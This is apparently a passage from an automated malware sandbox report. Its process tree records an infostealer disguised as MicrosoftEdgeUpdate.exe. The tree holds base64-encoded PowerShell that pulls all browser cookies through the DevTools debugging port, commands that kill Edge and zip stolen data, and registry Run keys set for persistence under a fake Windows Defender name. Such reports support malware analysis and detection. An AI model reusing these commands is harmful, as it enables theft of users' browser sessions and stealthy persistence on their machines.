G4AZQBjAHQAZQBkACkAIAB7ACAAVwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAnAHsAIgByAGUAcwB1AGwAdAAiADoAewAiAGMAbwBvAGsAaQBlAHMAIgA6AFsAXQB9ACwAIgBlAHIAcgBvAHIAIgA6ACIAcABvAHIAdAAgAG4AbwB0ACAAbwBwAGUAbgAiAH0AJwA7ACAAZQB4AGkAdAAgAH0ACgB0AHIAeQAgAHsACgAgACAAIAAgACQAcABhAGcAZQAgAD0AIAAkAHAAYQBnAGUAcwAgAHwAIABXAGgAZQByAGUALQBPAGIAagBlAGMAdAAgAHsAIAAkAF8ALgB0AHkAcABlACAALQBlAHEAIAAnAHAAYQBnAGUAJwAgAH0AIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ARgBpAHIAcwB0ACAAMQAKACAAIAAgACAAaQBmACAAKAAkAHAAYQBnAGUAKQAgAHsAIAAkAHcAcwBfAHUAcgBsACAAPQAgACQAcABhAGcAZQAuAHcAZQBiAFMAbwBjAGsAZQB0AEQAZQBiAHUAZwBnAGUAcgBVAHIAbAAgAH0ACgAgACAAIAAgAGUAbABzAGUAIAB7AAoAIAAgACAAIAAgACAAIAAgACQAdgBlAHIAIAA9ACAASQBuAHYAbwBrAGUALQBSAGUAcwB0AE0AZQB0AGgAbwBkACAAIgBoAHQAdABwADoALwAvADEAMgA3AC4AMAAuADAALgAxADoAOQAyADkAOQAvAGoAcwBvAG4ALwB2AGUAcgBzAGkAbwBuACIAIAAtAFQAaQBtAGUAbwB1AHQAUwBlAGMAIAA1AAoAIAAgACAAIAAgACAAIAAgACQAdwBzAF8AdQByAGwAIAA9ACAAJAB2AGUAcgAuAHcAZQBiAFMAbwBjAGsAZQB0AEQAZQBiAHUAZwBnAGUAcgBVAHIAbAAKACAAIAAgACAAfQAKACAAIAAgACAAaQBmACAAKAAtAG4AbwB0ACAAJAB3AHMAXwB1AHIAbAApACAAewAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAJwB7ACIAcgBlAHMAdQBsAHQAIgA6AHsAIgBjAG8AbwBrAGkAZQBzACIAOgBbAF0AfQAsACIAZQByAHIAbwByACIAOgAiAG4AbwAgAHcAcwAgAHUAcgBsACIAfQAnADsAIABlAHgAaQB0ACAAfQAKAAoAIAAgACAAIAAkAHcAcwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAFMAbwBjAGsAZQB0AHMALgBDAGwAaQBlAG4AdABXAGUAYgBTAG8AYwBrAGUAdAAKACAAIAAgACAAJABjAHQAcwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBUAGgAcgBlAGEAZABpAG4AZwAuAEMAYQBuAGMAZQBsAGwAYQB0AGkAbwBuAFQAbwBrAGUAbgBTAG8AdQByAGMAZQAKACAAIAAgACAAJABjAHQAcwAuAEMAYQBuAGMAZQBsAEEAZgB0AGUAcgAoADEAMAAwADAAMAApAAoAIAAgACAAIAAkAHcAcwAuAEMAbwBuAG4AZQBjAHQAQQBzAHkAbgBjACgAWwBVAHIAaQBdACQAdwBzAF8AdQByAGwALAAgACQAYwB0AHMALgBUAG8AawBlAG4AKQAuAFcAYQBpAHQAKAApAAoACgAgACAAIAAgACMAIABGAHUAbgBjAHQAaQBvAG4AIAB0AG8AIAByAGUAYQBkACAAYQAgAHMAaQBuAGcAbABlACAAYwBvAG0AcABsAGUAdABlACAAVwBlAGIAUwBvAGMAawBlAHQAIAB0AGUAeAB0ACAAbQBlAHMAcwBhAGcAZQAKACAAIAAgACAAZgB1AG4AYwB0AGkAbwBuACAAUgBlAGEAZAAtAE0AZQBzAHMAYQBnAGUAKAAkAHcALAAgACQAYwApACAAewAKACAAIAAgACAAIAAgACAAIAAkAG0AcwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAKACAAIAAgACAAIAAgACAAIAAkAGIAdQBmACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgADYANQA1ADMANgAKACAAIAAgACAAIAAgACAAIAAkAHMAZQBnACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEEAcgByAGEAeQBTAGUAZwBtAGUAbgB0AFsAYgB5AHQAZQBdACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACgALAAkAGIAdQBmACkACgAgACAAIAAgACAAIAAgACAAdwBoAGkAbABlACAAKAAkAHQAcgB1AGUAKQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAHIAZQBzACAAPQAgACQAdwAuAFIAZQBjAGUAaQB2AGUAQQBzAHkAbgBjACgAJABzAGUAZwAsACAAJABjAC4AVABvAGsAZQBuACkALgBSAGUAcwB1AGwAdAAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAbQBzAC4AVwByAGkAdABlACgAJABiAHUAZgAsACAAMAAsACAAJAByAGUAcwAuAEMAbwB1AG4AdAApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACAAKAAkAHIAZQBzAC4ARQBuAGQATwBmAE0AZQBzAHMAYQBnAGUAKQAgAHsAIABiAHIAZQBhAGsAIAB9AAoAIAAgACAAIAAgACAAIAAgAH0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABtAHMALgBUAG8AQQByAHIAYQB5ACgAKQApAAoAIAAgACAAIAB9AAoACgAgACAAIAAgACMAIABFAG4AYQBiAGwAZQAgAE4AZQB0AHcAbwByAGsACgAgACAAIAAgACQAYwBtAGQAMQAgAD0AIAAnAHsAIgBpAGQAIgA6ADEALAAiAG0AZQB0AGgAbwBkACIAOgAiAE4AZQB0AHcAbwByAGsALgBlAG4AYQBiAGwAZQAiAH0AJwAKACAAIAAgACAAJABiAHkAdABlAHMAMQAgAD0AIABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAYwBtAGQAMQApAAoAIAAgACAAIAAkAHMAZQBnADEAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4AQQByAHIAYQB5AFMAZQBnAG0AZQBuAHQAWwBiAHkAdABlAF0AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAKAAsACQAYgB5AHQAZQBzADEAKQAKACAAIAAgACAAJAB3AHMALgBTAGUAbgBkAEEAcwB5AG4AYwAoACQAcwBlAGcAMQAsACAAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAUwBvAGMAawBlAHQAcwAuAFcAZQBiAFMAbwBjAGsAZQB0AE0AZQBzAHMAYQBnAGUAVAB5AHAAZQBdADoAOgBUAGUAeAB0ACwAIAAkAHQAcgB1AGUALAAgACQAYwB0AHMALgBUAG8AawBlAG4AKQAuAFcAYQBpAHQAKAApAAoACgAgACAAIAAgACMAIABSAGUAYQBkACAAdABoAGUAIAByAGUAcwBwAG8AbgBzAGUAIAB0AG8AIABOAGUAdAB3AG8AcgBrAC4AZQBuAGEAYgBsAGUAIABhAG4AZAAgAGQAaQBzAGMAYQByAGQAIABpAHQACgAgACAAIAAgACQAbgB1AGwAbAAgAD0AIABSAGUAYQBkAC0ATQBlAHMAcwBhAGcAZQAgACQAdwBzACAAJABjAHQAcwAKAAoAIAAgACAAIAAjACAARwBlAHQAIABhAGwAbAAgAGMAbwBvAGsAaQBlAHMACgAgACAAIAAgACQAYwBtAGQAMgAgAD0AIAAnAHsAIgBpAGQAIgA6ADIALAAiAG0AZQB0AGgAbwBkACIAOgAiAE4AZQB0AHcAbwByAGsALgBnAGUAdABBAGwAbABDAG8AbwBrAGkAZQBzACIAfQAnAAoAIAAgACAAIAAkAGIAeQB0AGUAcwAyACAAPQAgAFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAQgB5AHQAZQBzACgAJABjAG0AZAAyACkACgAgACAAIAAgACQAcwBlAGcAMgAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBBAHIAcgBhAHkAUwBlAGcAbQBlAG4AdABbAGIAeQB0AGUAXQAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAoACwAJABiAHkAdABlAHMAMgApAAoAIAAgACAAIAAkAHcAcwAuAFMAZQBuAGQAQQBzAHkAbgBjACgAJABzAGUAZwAyACwAIABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBTAG8AYwBrAGUAdABzAC4AVwBlAGIAUwBvAGMAawBlAHQATQBlAHMAcwBhAGcAZQBUAHkAcABlAF0AOgA6AFQAZQB4AHQALAAgACQAdAByAHUAZQAsACAAJABjAHQAcwAuAFQAbwBrAGUAbgApAC4AVwBhAGkAdAAoACkACgAKACAAIAAgACAAIwAgAFIAZQBhAGQAIAB0AGgAZQAgAHIAZQBzAHAAbwBuAHMAZQAgAHQAbwAgAE4AZQB0AHcAbwByAGsALgBnAGUAdABBAGwAbABDAG8AbwBrAGkAZQBzAAoAIAAgACAAIAAkAGoAcwBvAG4AIAA9ACAAUgBlAGEAZAAtAE0AZQBzAHMAYQBnAGUAIAAkAHcAcwAgACQAYwB0AHMACgAgACAAIAAgAHQAcgB5ACAAewAgACQAdwBzAC4AQwBsAG8AcwBlAEEAcwB5AG4AYwAoAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAFMAbwBjAGsAZQB0AHMALgBXAGUAYgBTAG8AYwBrAGUAdABDAGwAbwBzAGUAUwB0AGEAdAB1AHMAXQA6ADoATgBvAHIAbQBhAGwAQwBsAG8AcwB1AHIAZQAsACAAJwAnACwAIAAkAGMAdABzAC4AVABvAGsAZQBuACkALgBXAGEAaQB0ACgAKQAgAH0AIABjAGEAdABjAGgAIAB7AH0ACgAgACAAIAAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAJABqAHMAbwBuAAoAfQAgAGMAYQB0AGMAaAAgAHsACgAgACAAIAAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAKAAnAHsAIgByAGUAcwB1AGwAdAAiADoAewAiAGMAbwBvAGsAaQBlAHMAIgA6AFsAXQB9ACwAIgBlAHIAcgBvAHIAIgA6ACIAJwAgACsAIAAkAF8ALgBFAHgAYwBlAHAAdABpAG8AbgAuAE0AZQBzAHMAYQBnAGUAIAArACAAJwAiAH0AJwApAAoAfQA="
                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                PID:4808
                                                                                                                                                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                  powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoACgAkAEUAcgByAG8AcgBBAGMAdABpAG8AbgBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACcAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAnAAoAJABjAG8AbgBuAGUAYwB0AGUAZAAgAD0AIAAkAGYAYQBsAHMAZQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAxADUAOwAgACQAaQArACsAKQAgAHsACgAgACAAIAAgAHQAcgB5ACAAewAKACAAIAAgACAAIAAgACAAIAAkAHAAYQBnAGUAcwAgAD0AIABJAG4AdgBvAGsAZQAtAFIAZQBzAHQATQBlAHQAaABvAGQAIAAiAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgA5ADIAOQA5AC8AagBzAG8AbgAiACAALQBUAGkAbQBlAG8AdQB0AFMAZQBjACAAMQAKACAAIAAgACAAIAAgACAAIABpAGYAIAAoACQAcABhAGcAZQBzACkAIAB7ACAAJABjAG8AbgBuAGUAYwB0AGUAZAAgAD0AIAAkAHQAcgB1AGUAOwAgAGIAcgBlAGEAawAgAH0ACgAgACAAIAAgAH0AIABjAGEAdABjAGgAIAB7ACAAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBNAGkAbABsAGkAcwBlAGMAbwBuAGQAcwAgADEAMAAwACAAfQAKAH0ACgBpAGYAIAAoAC0AbgBvAHQAIAAkAGMAbwBuAG4AZQBjAHQAZQBkACkAIAB7ACAAVwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAnAHsAIgByAGUAcwB1AGwAdAAiADoAewAiAGMAbwBvAGsAaQBlAHMAIgA6AFsAXQB9ACwAIgBlAHIAcgBvAHIAIgA6ACIAcABvAHIAdAAgAG4AbwB0ACAAbwBwAGUAbgAiAH0AJwA7ACAAZQB4AGkAdAAgAH0ACgB0AHIAeQAgAHsACgAgACAAIAAgACQAcABhAGcAZQAgAD0AIAAkAHAAYQBnAGUAcwAgAHwAIABXAGgAZQByAGUALQBPAGIAagBlAGMAdAAgAHsAIAAkAF8ALgB0AHkAcABlACAALQBlAHEAIAAnAHAAYQBnAGUAJwAgAH0AIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ARgBpAHIAcwB0ACAAMQAKACAAIAAgACAAaQBmACAAKAAkAHAAYQBnAGUAKQAgAHsAIAAkAHcAcwBfAHUAcgBsACAAPQAgACQAcABhAGcAZQAuAHcAZQBiAFMAbwBjAGsAZQB0AEQAZQBiAHUAZwBnAGUAcgBVAHIAbAAgAH0ACgAgACAAIAAgAGUAbABzAGUAIAB7AAoAIAAgACAAIAAgACAAIAAgACQAdgBlAHIAIAA9ACAASQBuAHYAbwBrAGUALQBSAGUAcwB0AE0AZQB0AGgAbwBkACAAIgBoAHQAdABwADoALwAvADEAMgA3AC4AMAAuADAALgAxADoAOQAyADkAOQAvAGoAcwBvAG4ALwB2AGUAcgBzAGkAbwBuACIAIAAtAFQAaQBtAGUAbwB1AHQAUwBlAGMAIAA1AAoAIAAgACAAIAAgACAAIAAgACQAdwBzAF8AdQByAGwAIAA9ACAAJAB2AGUAcgAuAHcAZQBiAFMAbwBjAGsAZQB0AEQAZQBiAHUAZwBnAGUAcgBVAHIAbAAKACAAIAAgACAAfQAKACAAIAAgACAAaQBmACAAKAAtAG4AbwB0ACAAJAB3AHMAXwB1AHIAbAApACAAewAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAJwB7ACIAcgBlAHMAdQBsAHQAIgA6AHsAIgBjAG8AbwBrAGkAZQBzACIAOgBbAF0AfQAsACIAZQByAHIAbwByACIAOgAiAG4AbwAgAHcAcwAgAHUAcgBsACIAfQAnADsAIABlAHgAaQB0ACAAfQAKAAoAIAAgACAAIAAkAHcAcwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAFMAbwBjAGsAZQB0AHMALgBDAGwAaQBlAG4AdABXAGUAYgBTAG8AYwBrAGUAdAAKACAAIAAgACAAJABjAHQAcwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBUAGgAcgBlAGEAZABpAG4AZwAuAEMAYQBuAGMAZQBsAGwAYQB0AGkAbwBuAFQAbwBrAGUAbgBTAG8AdQByAGMAZQAKACAAIAAgACAAJABjAHQAcwAuAEMAYQBuAGMAZQBsAEEAZgB0AGUAcgAoADEAMAAwADAAMAApAAoAIAAgACAAIAAkAHcAcwAuAEMAbwBuAG4AZQBjAHQAQQBzAHkAbgBjACgAWwBVAHIAaQBdACQAdwBzAF8AdQByAGwALAAgACQAYwB0AHMALgBUAG8AawBlAG4AKQAuAFcAYQBpAHQAKAApAAoACgAgACAAIAAgACMAIABGAHUAbgBjAHQAaQBvAG4AIAB0AG8AIAByAGUAYQBkACAAYQAgAHMAaQBuAGcAbABlACAAYwBvAG0AcABsAGUAdABlACAAVwBlAGIAUwBvAGMAawBlAHQAIAB0AGUAeAB0ACAAbQBlAHMAcwBhAGcAZQAKACAAIAAgACAAZgB1AG4AYwB0AGkAbwBuACAAUgBlAGEAZAAtAE0AZQBzAHMAYQBnAGUAKAAkAHcALAAgACQAYwApACAAewAKACAAIAAgACAAIAAgACAAIAAkAG0AcwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAKACAAIAAgACAAIAAgACAAIAAkAGIAdQBmACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgADYANQA1ADMANgAKACAAIAAgACAAIAAgACAAIAAkAHMAZQBnACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEEAcgByAGEAeQBTAGUAZwBtAGUAbgB0AFsAYgB5AHQAZQBdACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACgALAAkAGIAdQBmACkACgAgACAAIAAgACAAIAAgACAAdwBoAGkAbABlACAAKAAkAHQAcgB1AGUAKQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAHIAZQBzACAAPQAgACQAdwAuAFIAZQBjAGUAaQB2AGUAQQBzAHkAbgBjACgAJABzAGUAZwAsACAAJABjAC4AVABvAGsAZQBuACkALgBSAGUAcwB1AGwAdAAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAbQBzAC4AVwByAGkAdABlACgAJABiAHUAZgAsACAAMAAsACAAJAByAGUAcwAuAEMAbwB1AG4AdAApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACAAKAAkAHIAZQBzAC4ARQBuAGQATwBmAE0AZQBzAHMAYQBnAGUAKQAgAHsAIABiAHIAZQBhAGsAIAB9AAoAIAAgACAAIAAgACAAIAAgAH0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABtAHMALgBUAG8AQQByAHIAYQB5ACgAKQApAAoAIAAgACAAIAB9AAoACgAgACAAIAAgACMAIABFAG4AYQBiAGwAZQAgAE4AZQB0AHcAbwByAGsACgAgACAAIAAgACQAYwBtAGQAMQAgAD0AIAAnAHsAIgBpAGQAIgA6ADEALAAiAG0AZQB0AGgAbwBkACIAOgAiAE4AZQB0AHcAbwByAGsALgBlAG4AYQBiAGwAZQAiAH0AJwAKACAAIAAgACAAJABiAHkAdABlAHMAMQAgAD0AIABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAYwBtAGQAMQApAAoAIAAgACAAIAAkAHMAZQBnADEAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4AQQByAHIAYQB5AFMAZQBnAG0AZQBuAHQAWwBiAHkAdABlAF0AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAKAAsACQAYgB5AHQAZQBzADEAKQAKACAAIAAgACAAJAB3AHMALgBTAGUAbgBkAEEAcwB5AG4AYwAoACQAcwBlAGcAMQAsACAAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAUwBvAGMAawBlAHQAcwAuAFcAZQBiAFMAbwBjAGsAZQB0AE0AZQBzAHMAYQBnAGUAVAB5AHAAZQBdADoAOgBUAGUAeAB0ACwAIAAkAHQAcgB1AGUALAAgACQAYwB0AHMALgBUAG8AawBlAG4AKQAuAFcAYQBpAHQAKAApAAoACgAgACAAIAAgACMAIABSAGUAYQBkACAAdABoAGUAIAByAGUAcwBwAG8AbgBzAGUAIAB0AG8AIABOAGUAdAB3AG8AcgBrAC4AZQBuAGEAYgBsAGUAIABhAG4AZAAgAGQAaQBzAGMAYQByAGQAIABpAHQACgAgACAAIAAgACQAbgB1AGwAbAAgAD0AIABSAGUAYQBkAC0ATQBlAHMAcwBhAGcAZQAgACQAdwBzACAAJABjAHQAcwAKAAoAIAAgACAAIAAjACAARwBlAHQAIABhAGwAbAAgAGMAbwBvAGsAaQBlAHMACgAgACAAIAAgACQAYwBtAGQAMgAgAD0AIAAnAHsAIgBpAGQAIgA6ADIALAAiAG0AZQB0AGgAbwBkACIAOgAiAE4AZQB0AHcAbwByAGsALgBnAGUAdABBAGwAbABDAG8AbwBrAGkAZQBzACIAfQAnAAoAIAAgACAAIAAkAGIAeQB0AGUAcwAyACAAPQAgAFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAQgB5AHQAZQBzACgAJABjAG0AZAAyACkACgAgACAAIAAgACQAcwBlAGcAMgAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBBAHIAcgBhAHkAUwBlAGcAbQBlAG4AdABbAGIAeQB0AGUAXQAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAoACwAJABiAHkAdABlAHMAMgApAAoAIAAgACAAIAAkAHcAcwAuAFMAZQBuAGQAQQBzAHkAbgBjACgAJABzAGUAZwAyACwAIABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBTAG8AYwBrAGUAdABzAC4AVwBlAGIAUwBvAGMAawBlAHQATQBlAHMAcwBhAGcAZQBUAHkAcABlAF0AOgA6AFQAZQB4AHQALAAgACQAdAByAHUAZQAsACAAJABjAHQAcwAuAFQAbwBrAGUAbgApAC4AVwBhAGkAdAAoACkACgAKACAAIAAgACAAIwAgAFIAZQBhAGQAIAB0AGgAZQAgAHIAZQBzAHAAbwBuAHMAZQAgAHQAbwAgAE4AZQB0AHcAbwByAGsALgBnAGUAdABBAGwAbABDAG8AbwBrAGkAZQBzAAoAIAAgACAAIAAkAGoAcwBvAG4AIAA9ACAAUgBlAGEAZAAtAE0AZQBzAHMAYQBnAGUAIAAkAHcAcwAgACQAYwB0AHMACgAgACAAIAAgAHQAcgB5ACAAewAgACQAdwBzAC4AQwBsAG8AcwBlAEEAcwB5AG4AYwAoAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAFMAbwBjAGsAZQB0AHMALgBXAGUAYgBTAG8AYwBrAGUAdABDAGwAbwBzAGUAUwB0AGEAdAB1AHMAXQA6ADoATgBvAHIAbQBhAGwAQwBsAG8AcwB1AHIAZQAsACAAJwAnACwAIAAkAGMAdABzAC4AVABvAGsAZQBuACkALgBXAGEAaQB0ACgAKQAgAH0AIABjAGEAdABjAGgAIAB7AH0ACgAgACAAIAAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAJABqAHMAbwBuAAoAfQAgAGMAYQB0AGMAaAAgAHsACgAgACAAIAAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAKAAnAHsAIgByAGUAcwB1AGwAdAAiADoAewAiAGMAbwBvAGsAaQBlAHMAIgA6AFsAXQB9ACwAIgBlAHIAcgBvAHIAIgA6ACIAJwAgACsAIAAkAF8ALgBFAHgAYwBlAHAAdABpAG8AbgAuAE0AZQBzAHMAYQBnAGUAIAArACAAJwAiAH0AJwApAAoAfQA=
                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                    PID:3464
                                                                                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM msedge.exe 2>nul"
                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                  • Executes a command shell one-liner
                                                                                                                                                                                                                                                  PID:5964
                                                                                                                                                                                                                                                  • C:\Windows\system32\taskkill.exe
                                                                                                                                                                                                                                                    taskkill /F /IM msedge.exe
                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                    • Kills process with taskkill
                                                                                                                                                                                                                                                    PID:6348
                                                                                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /d /s /c "tar -caf "C:\Users\Admin\AppData\Local\Temp\deepside.zip" -C "C:\Users\Admin\AppData\Local\Temp\_48ugk1" ."
                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                  • Executes a command shell one-liner
                                                                                                                                                                                                                                                  PID:6424
                                                                                                                                                                                                                                                  • C:\Windows\system32\tar.exe
                                                                                                                                                                                                                                                    tar -caf "C:\Users\Admin\AppData\Local\Temp\deepside.zip" -C "C:\Users\Admin\AppData\Local\Temp\_48ugk1" .
                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                      PID:1292
                                                                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /d /s /c "tar -caf "C:\Users\Admin\AppData\Local\Temp\ds_ck_1784536676609.zip" -C "C:\Users\Admin\AppData\Local\Temp" "ds_ck_1784536676609.txt""
                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                    • Executes a command shell one-liner
                                                                                                                                                                                                                                                    PID:1656
                                                                                                                                                                                                                                                    • C:\Windows\system32\tar.exe
                                                                                                                                                                                                                                                      tar -caf "C:\Users\Admin\AppData\Local\Temp\ds_ck_1784536676609.zip" -C "C:\Users\Admin\AppData\Local\Temp" "ds_ck_1784536676609.txt"
                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                        PID:4604
                                                                                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /d /s /c "cmd /c copy /Y "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\MicrosoftEdgeUpdate\MicrosoftEdgeUpdate.exe" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\WindowsDefenderUpdate\WindowsDefenderUpdate.exe""
                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                      • Executes a command shell one-liner
                                                                                                                                                                                                                                                      PID:3468
                                                                                                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                        cmd /c copy /Y "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\MicrosoftEdgeUpdate\MicrosoftEdgeUpdate.exe" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\WindowsDefenderUpdate\WindowsDefenderUpdate.exe"
                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                        • Executes a command shell one-liner
                                                                                                                                                                                                                                                        PID:6312
                                                                                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderUpdate" /t REG_SZ /d ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\MicrosoftEdgeUpdate\MicrosoftEdgeUpdate.exe"" /f"
                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                      • Executes a command shell one-liner
                                                                                                                                                                                                                                                      PID:1644
                                                                                                                                                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                        reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderUpdate" /t REG_SZ /d ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\MicrosoftEdgeUpdate\MicrosoftEdgeUpdate.exe"" /f
                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                          PID:6892
                                                                                                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" /v "WindowsDefenderUpdate" /t REG_SZ /d ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\MicrosoftEdgeUpdate\MicrosoftEdgeUpdate.exe"" /f"
                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                        • Executes a command shell one-liner
                                                                                                                                                                                                                                                        PID:4476
                                                                                                                                                                                                                                                        • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                          reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" /v "WindowsDefenderUpdate" /t REG_SZ /d ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\MicrosoftEdgeUpdate\MicrosoftEdgeUpdate.exe"" /f
                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                            PID:6508
                                                                                                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /d /s /c "schtasks /Delete /TN "WindowsDefenderUpdateTask" /F"
                                                                                                                                                                                                                                                          2⤵
